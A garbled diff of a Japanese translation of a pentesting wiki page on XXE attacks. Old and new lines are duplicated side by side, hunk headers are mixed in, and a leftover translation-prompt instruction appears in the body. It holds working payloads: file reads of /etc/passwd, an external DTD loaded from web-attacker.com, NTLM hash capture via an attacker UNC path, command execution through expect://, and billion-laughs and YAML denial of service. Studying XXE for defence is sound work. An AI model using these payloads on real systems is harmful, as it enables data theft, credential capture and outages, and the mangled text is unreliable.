以下のように悪意のある外部DTDを使用して、`/etc/passwd` ファイルの内容を含むXMLパースエラーメッセージをトリガーできます **この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させますこれはエラーメッセージを見ることができる場合にのみ有効です。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind)
次のように、悪意のある外部DTDを使用して、`/etc/passwd`ファイルの内容を含むXML解析エラーメッセージをトリガーできます
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %eval;
%error; %error;
``` ```
このDTDは以下のステップを実行します: このDTDは次の手順を実行します:
* `/etc/passwd` ファイルの内容を含む `file` というXMLパラメータエンティティを定義します。 * `/etc/passwd` ファイルの内容を含む XML パラメータエンティティ `file` を定義します。
* `error` という別のXMLパラメータエンティティの動的宣言を含む `eval` というXMLパラメータエンティティを定義します。`error` エンティティは、`file` エンティティの値を含む存在しないファイルをロードすることによって評価されます。 * 別の XML パラメータエンティティ `error` の動的宣言を含む XML パラメータエンティティ `eval` を定義します。`error` エンティティは、`file` エンティティの値を含む存在しないファイルをロードすること評価されます。
* `eval` エンティティを使用し、`error` エンティティの動的宣言を実行させます。 * `eval` エンティティを使用し、`error` エンティティの動的宣言が実行されるようにします。
* `error` エンティティを使用すると、存在しないファイルをロードしようとしてその値が評価され、存在しないファイルの名前を含むエラーメッセージが生成されます。このファイルの名前は `/etc/passwd` ファイルの内容です。 * `error` エンティティを使用し、その値が評価され、存在しないファイルをロードしようとしてエラーメッセージが生成されます。このエラーメッセージには、`/etc/passwd` ファイルの内容である存在しないファイルの名前が含まれます。
外部DTDエラーを以下で呼び出します: 外部 DTD エラーを呼び出すには、以下を使用します:
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
以下は、サーバーの応答のエラーメッセージの中にファイルの内容が表示されるはずです。 ### **エラーメッセージ内のファイルの内容を表示するはずです。**
![](<../.gitbook/assets/image (223) (1).png>) ![](<../.gitbook/assets/image (223) (1).png>)
_**外部DTDを使用すると、一つのエンティティを二つ目のエンティティ(`eval`の中に含めることができますが、内部DTDではこれが禁止されています。そのため、通常は外部DTDを使用しないとエラーを強制することはできません。**_ _**外部DTDを使用すると、2番目のエンティティ`eval`内に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、通常は外部DTDを使用しないとエラーを強制することはできません。**_
### **エラーベース(システムDTD** ### **エラーベース(system DTD**
では、外部とのやり取りがブロックされている外部接続が利用できない場合のブラインドXXEの脆弱性はどうでしょうか[こちらからの情報](https://portswigger.net/web-security/xxe/blind) では、**アウトオブバンドインタラクションがブロックされている**外部接続が利用できない場合の盲目的なXXE脆弱性はどうでしょうか
この状況では、XML言語仕様の抜け穴を利用して、**機密データを含むエラーメッセージをトリガーすることが可能**です。ドキュメントの**DTDが内部と外部のDTD宣言のハイブリッドを使用している場合**、**内部DTDは外部DTDで宣言されているエンティティを再定義することができます**。この場合、別のパラメータエンティティの定義内でXMLパラメータエンティティを使用するという制限が緩和されます。 XML言語仕様の抜け穴により、**ドキュメントのDTDが内部および外部の宣言を混在させるときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、元々外部DTDで宣言されたXMLパラメータエンティティの再定義を悪用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存する必要があり、パーシングエラーを誘発して機密情報を明らかにします。
つまり、攻撃者は、使用しているXMLパラメータエンティティが**外部DTD内で宣言されているエンティティを再定義している場合**、内部DTD内から**エラーベースのXXEテクニックを使用することができます**。もちろん、外部との接続がブロックされている場合、外部DTDはリモートの場所からロードすることはできません。代わりに、**アプリケーションサーバーにローカルな外部DTDファイル**である必要があります。_基本的に、攻撃はローカルファイルシステム上に存在するDTDファイルを呼び出し、既存のエンティティを機密データを含むパースエラーをトリガーするように再定義することを目的としています。_
例えば、サーバーファイルシステム上の`/usr/local/app/schema.dtd`という場所にDTDファイルがあり、このDTDファイルが`custom_entity`というエンティティを定義しているとします。攻撃者は、以下のようなハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を含むXMLパースエラーメッセージをトリガーすることができます: サーバーのファイルシステムに`/usr/local/app/schema.dtd`でエンティティ`custom_entity`を定義するDTDファイルが含まれているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発することができます:
```markup ```xml
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity ' <!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>"> <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval; &#x25;eval;
&#x25;error; &#x25;error;
'> '>
%local_dtd; %local_dtd;
]> ]>
``` ```
このDTDは以下のステップを実行します: 以下の手順は、このDTDによって実行されます:
* サーバーファイルシステム上に存在する外部DTDファイルの内容を含む、`local_dtd`と呼ばれるXMLパラメータエンティティを定義します。 - `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
* 外部DTDファイルで既に定義されている`custom_entity`と呼ばれるXMLパラメータエンティティを再定義します。このエンティティは、`/etc/passwd`ファイルの内容を含むエラーメッセージをトリガーするために、既に説明された[error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)を含むように再定義されます。 - 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすことを意図しています。
* `local_dtd`エンティティを使用することで、外部DTDが解釈され、`custom_entity`エンティティの再定義された値を含むようになります。これにより、望ましいエラーメッセージが得られます。 - `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続によって、攻撃によって狙われたエラーメッセージが発生します。
**実世界の例:** GNOMEデスクトップ環境を使用するシステムは、しばしば`ISOamso`と呼ばれるエンティティを含むDTDを`/usr/share/yelp/dtd/docbookx.dtd`に持っています。 **実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` にDTDがあり、`ISOamso` というエンティティが含まれています。
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!DOCTYPE foo [
@ -250,22 +226,22 @@ _**外部DTDを使用すると、一つのエンティティを二つ目のエ
]> ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
![](<../.gitbook/assets/image (224).png>) 以下のテクニックは**内部DTDを使用**するため、まず有効なDTDを見つける必要があります。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトのDTD**を検索するか、システム内の**デフォルトのDTDのリストを取得**して、存在するかどうかを**確認**できます:
この技術は**内部DTDを使用するため、まず有効なものを見つける必要があります**。これを行うには、サーバーが使用しているのと同じ**OS / ソフトウェア**を**インストールして**、いくつかの**デフォルトDTDを探す**か、システム内の**デフォルトDTDのリストを取得して**、それらのいずれかが存在するか**確認**します。
```markup ```markup
<!DOCTYPE foo [ <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd; %local_dtd;
]> ]>
``` ```
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### システム内のDTDの検出 ### システム内のDTDの検出
以下の素晴らしいgithubリポジトリでは、**システム内に存在する可能性のあるDTDのパス**を見つけることができます の素晴らしいgithubリポジトリでは、**システム内に存在する可能性のあるDTDのパス**を見つけることができます:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
さらに、**被害者システムのDockerイメージ**を持っている場合、同じリポジトリのツールを使用して**イメージ****スキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。方法を学ぶには、[githubのReadme](https://github.com/GoSecure/dtd-finder)を読んでください。 さらに、**被害者システムのDockerイメージ**を持っている場合、同じリポジトリのツールを使用して**イメージをスキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。詳細については、[githubのReadme](https://github.com/GoSecure/dtd-finder)を参照してください。
```bash ```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -277,50 +253,50 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : [] Testing 0 entities : []
``` ```
### XXEを介したOffice Open XMLパーサー ### Office Open XML パーサーを介した XXE
この攻撃のより詳細な説明については、**Detectifyの[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第2セクションを確認してください** この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第二セクションを参照してください
**Microsoft Officeドキュメントのアップロード機能は多くのウェブアプリケーションで提供されています**。これらのアプリケーションは、ドキュメントから特定の詳細を抽出することがあります。例えば、ウェブアプリケーションは、ユーザーがXLSX形式のスプレッドシートをアップロードすることでデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つのXMLファイルを解析する必要があります。 多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供し、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも 1 つの XML ファイルを解析する必要があります。
この脆弱性をテストするためには、**XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります**。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。 この脆弱性をテストするためには、**XXE ペイロードを含む Microsoft Office ファイルを作成する**必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
ドキュメントが解凍されたら、`./unzipped/word/document.xml`にあるXMLファイルを開き、好みのテキストエディタ例えばvimで編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように変更する必要があります。 ドキュメントを解凍した後、`./unzipped/word/document.xml` にある XML ファイルを好みのテキストエディタ(たとえば vimで開いて編集する必要があります。XML を編集して、通常は HTTP リクエストで始まる所望の XXE ペイロードを含める必要があります。
変更されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエストを監視可能なURLに置き換えることが重要です。 変更された XML 行は、2 つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。
最後に、ファイルを圧縮して悪意のあるpoc.docxファイルを作成します。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります 最後に、悪意のある poc.docx ファイルを作成するためにファイルを圧縮することができます。以前に作成した "unzipped" ディレクトリから、次のコマンドを実行する必要があります:
これで、作成されたファイルを潜在的に脆弱なウェブアプリケーションにアップロードし、Burp Collaboratorのログにリクエストが表示されることを期待できます。 これで、作成したファイルを潜在的に脆弱な Web アプリケーションにアップロードし、Burp Collaborator ログにリクエストが表示されることを期待できます。
### Jar: プロトコル ### Jar: プロトコル
`jar`プロトコルは**Javaアプリケーション**でのみ利用可能です。これは、**PKZIP**ファイル(`.zip`、`.jar`、...)内のファイルにアクセスすることを可能にし、ローカルおよびリモートファイルに対して機能します: `jar` プロトコルは**Java アプリケーション**でのみ利用可能です。これは、**PKZIP** ファイル(`.zip`、`.jar` など)内のファイルにアクセスし、ローカルおよびリモートファイルに対応しています。
``` ```
jar:file:///var/myarchive.zip!/file.txt jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt
``` ```
{% hint style="danger" %} {% hint style="danger" %}
PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介してXXEを悪用するために非常に有用です。** [このセクションでシステムDTDファイルの悪用方法を学びましょう](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に有用**です。[こちらのセクションをチェックして、system DTDファイルを悪用する方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
{% endhint %} {% endhint %}
#### 舞台 #### 裏
1. zipアーカイブをロードするためにHTTPリクエストを行います。 `https://download.host.com/myarchive.zip` 1. zipアーカイブをロードするためにHTTPリクエストを行います。 `https://download.host.com/myarchive.zip`
2. HTTPレスポンスを一時的な場所に保存します。 `/tmp/...` 2. HTTPレスポンスを一時的な場所に保存します。 `/tmp/...`
3. アーカイブを抽出します。 3. アーカイブを展開します。
4. `file.zip`を読み取ります。 4. `file.zip`を読み取ります。
5. 一時ファイルを削除します。 5. 一時ファイルを削除します。
2番目のステップでフローを停止することが可能です。トリックは、ファイルを提供するときに接続を決して閉じないことです。 [これらのツールが役立つかもしれません](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)pythonで`slow_http_server.py`とjavaで`slowserver.jar` 流れを2番目のステップで停止させることが可能であることに注意してください。ファイルを提供する際に接続を閉じないようにするトリックがあります。[このツールが役立つかもしれません](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)Pythonの`slow_http_server.py`とJavaの`slowserver.jar`があります
サーバーがファイルをダウンロードしたら、tempディレクトリをブラウズしてその場所を見つける必要があります。ランダムであるため、ファイルパスは事前に予測できません。 サーバーがファイルをダウンロードしたら、一時ディレクトリをブラウズしてその場所を見つける必要があります。ランダムため、ファイルパスは事前に予測できません。
![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png) ![Jar](https://gosecure.github.io/xxe-workshop/img/74fac3155d455980.png)
{% hint style="danger" %} {% hint style="danger" %}
一時ディレクトリにファイルを書き込むことは、**パストラバーサルに関連する別の脆弱性をエスカレートするのに役立つ**ことがありますローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライゼーションなど)。 一時ディレクトリにファイルを書き込むことは、**パストラバーサルを含む別の脆弱性をエスカレート**するのに役立ちますローカルファイルのインクルード、テンプレートインジェクション、XSLT RCE、逆シリアル化など)。
{% endhint %} {% endhint %}
### XSS ### XSS
@ -329,7 +305,7 @@ PKZIPファイル内のファイルにアクセスできることは、**シス
``` ```
### DoS ### DoS
#### ビリオン・ラフ・アタック #### ビリオン・ラフ攻撃
```markup ```markup
<!DOCTYPE data [ <!DOCTYPE data [
<!ENTITY a0 "dos" > <!ENTITY a0 "dos" >
@ -340,7 +316,7 @@ PKZIPファイル内のファイルにアクセスできることは、**シス
]> ]>
<data>&a4;</data> <data>&a4;</data>
``` ```
#### Yaml 攻撃 #### Yaml攻撃
```markup ```markup
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
@ -352,59 +328,61 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
``` ```
#### Quadratic Blowup Attack #### 二次の膨張攻撃
![](<../.gitbook/assets/image (531).png>) ![](<../.gitbook/assets/image (531).png>)
#### NTMLの取得 #### NTMLの取得
Windowsホストでは、responder.pyハンドラを設定することで、WebサーバーユーザーのNTMLハッシュを取得することが可能です。 Windowsホストでは、responder.pyハンドラを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することが可能です。
``` ```
Responder.py -I eth0 -v Responder.py -I eth0 -v
``` ```
送信することで そして、以下のリクエストを送信することによって
``` ```
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data> <data>&example;</data>
``` ```
その後、hashcatを使用してハッシュをクラックすることができます。 ## 隠されたXXEサーフェス
## 隠されたXXEの発生箇所
### XInclude ### XInclude
[こちらから。](https://portswigger.net/web-security/xxe) いくつかのシナリオでは、**クライアントから送信されたデータが、解析前にサーバーサイドプロセスによってXMLドキュメントに組み込まれる**。これは通常、クライアントデータが**バックエンドのSOAPリクエスト**に統合され、その後バックエンドでSOAPサービスによって処理される場合に発生します。
一部のアプリケーションは**クライアントから提出されたデータを受け取り、サーバー側でXMLドキュメントに埋め込んでから、そのドキュメントを解析します**。この例は、クライアントから提出されたデータが**バックエンドのSOAPリクエスト**に配置され、その後バックエンドのSOAPサービスによって処理される場合に発生します。 これらのケースでは、XMLドキュメント全体を制御することが制限されているため、従来のXXEXML External Entity攻撃を実行することは困難です。特に、`DOCTYPE`要素を変更または導入することができないためです。ただし、XML標準の機能である`XInclude`を活用することで、回避策が提供されます。このアプローチにより、XMLドキュメントのデータ要素内で`XInclude`攻撃を実行できるため、サーバーが生成したXMLドキュメントに埋め込まれた個々のデータに制限されている場合にも実現可能となります。
この状況では、**XMLドキュメント全体を制御していないため、`DOCTYPE`要素を定義または変更することができず**、従来のXXE攻撃を実行することはできません。しかし、代わりに`XInclude`を使用することができるかもしれません。`XInclude`はXML仕様の一部であり、XMLドキュメントをサブドキュメントから構築することを可能にします。XMLドキュメント内の任意のデータ値に`XInclude`攻撃を配置することができるため、サーバー側のXMLドキュメントに配置される単一のデータ項目のみを制御している状況でも攻撃を実行できます。 `XInclude`攻撃を開始するには、`XInclude`名前空間の組み込みと、組み込みを意図するファイルパスの指定が必要です。次の例は、そのような攻撃がどのように構築されるかを示しています:
```xml
`XInclude`攻撃を実行するには、`XInclude`名前空間を参照し、含めたいファイルへのパスを提供する必要があります。例えば:
```markup
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
``` ```
### SVG - ファイルアップロード Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
[こちらから。](https://portswigger.net/web-security/xxe) ### SVG - ファイルのアップロード
一部のアプリケーションでは、ユーザーがファイルをアップロードし、その後サーバー側で処理されます。一般的なファイル形式にはXMLが使用されているか、XMLのサブコンポーネントを含んでいます。XMLベースの形式の例には、DOCXのようなオフィス文書形式やSVGのような画像形式があります。 ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理されることがあり、XMLまたはXMLを含むファイル形式の処理方法に脆弱性を悪用する可能性があります。オフィスドキュメントDOCXや画像SVGなどの一般的なファイル形式は、XMLに基づいています。
例えば、アプリケーションがユーザーに**画像のアップロード**を許可し、アップロード後にサーバーでこれらを処理または検証することがあります。アプリケーションがPNGやJPEGのような形式を受け取ることを期待していても、使用されている**画像処理ライブラリがSVG画像をサポートしている**可能性があります。SVG形式はXMLを使用しているため、攻撃者は悪意のあるSVG画像を送信し、XXE脆弱性のための隠された攻撃面に到達することができます。 ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXEXML External Entityの脆弱性にさらすことができます。
```markup
以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする例が示されています。
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
``` ```
**コマンドを実行**するためにPHPの"expect"ラッパーを使用することもできます: 別の方法は、PHPの「expect」ラッパーを介して**コマンドを実行**しようとすることです:
```markup ```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image> <image xlink:href="expect://ls"></image>
</svg> </svg>
``` ```
**注読み取ったファイルの最初の行または実行結果は、作成された画像の中に表示されます。そのため、SVGが作成した画像にアクセスできる必要があります。** 両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が発生し、堅牢な入力検証とセキュリティ対策の必要性が強調されます。
### **PDF - ファイルアップロード** 詳細については、[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) をチェックしてください!
PDFファイルをアップロードしてXXEを悪用する方法については、以下の投稿を読んでください **注読み取りファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
### **PDF - ファイルのアップロード**
次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法**を学んでください:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
@ -412,7 +390,7 @@ PDFファイルをアップロードしてXXEを悪用する方法について
### Content-Type: x-www-urlencodedからXMLへ ### Content-Type: x-www-urlencodedからXMLへ
POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用できる可能性があります。例えば、通常のリクエストに以下の内容が含まれている場合: POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用することができます。たとえば、通常のリクエストに次の内容が含まれている場合:
```markup ```markup
POST /action HTTP/1.0 POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
@ -420,7 +398,7 @@ Content-Length: 7
foo=bar foo=bar
``` ```
その場合、以下のリクエストを送信して、同じ結果を得ることができるかもしれません: その後、同じ結果を得るために、次のリクエストを送信できるかもしれません:
```markup ```markup
POST /action HTTP/1.0 POST /action HTTP/1.0
Content-Type: text/xml Content-Type: text/xml
@ -428,9 +406,9 @@ Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
``` ```
### Content-Type: JSONからXEEへの変換 ### Content-Type: JSON から XEE
リクエストを変更するには、“**Content Type Converter**”というBurp拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)でこの例を見ることができます: リクエストを変更するには、「**Content Type Converter**」という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。
```markup ```markup
Content-Type: application/json;charset=UTF-8 Content-Type: application/json;charset=UTF-8
@ -458,9 +436,7 @@ Content-Type: application/xml;charset=UTF-8
</root> </root>
</root> </root>
``` ```
以下は、ハッキング技術に関する本の内容です。ファイル `pentesting-web/xxe-xee-xml-external-entity.md` からの関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびHTML構文を保持して翻訳を返します。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、単語「leak」、ペネトレーションテスト、およびマークダウンタグのようなものは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは何も追加しないでください。 別の例は[こちら](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)にあります。
他の例は[こちら](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2)で見つけることができます。
## WAF & Protections Bypasses ## WAF & Protections Bypasses
@ -468,11 +444,11 @@ Content-Type: application/xml;charset=UTF-8
```markup ```markup
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
``` ```
の方法は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。 れは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。
### UTF-7 ### UTF-7
ここで \[**"Encode Recipe"** の cyberchef を使用して ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換します。 \[**"Encode Recipe**" of cyberchef here ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換できます。
```markup ```markup
<!xml version="1.0" encoding="UTF-7"?--> <!xml version="1.0" encoding="UTF-7"?-->
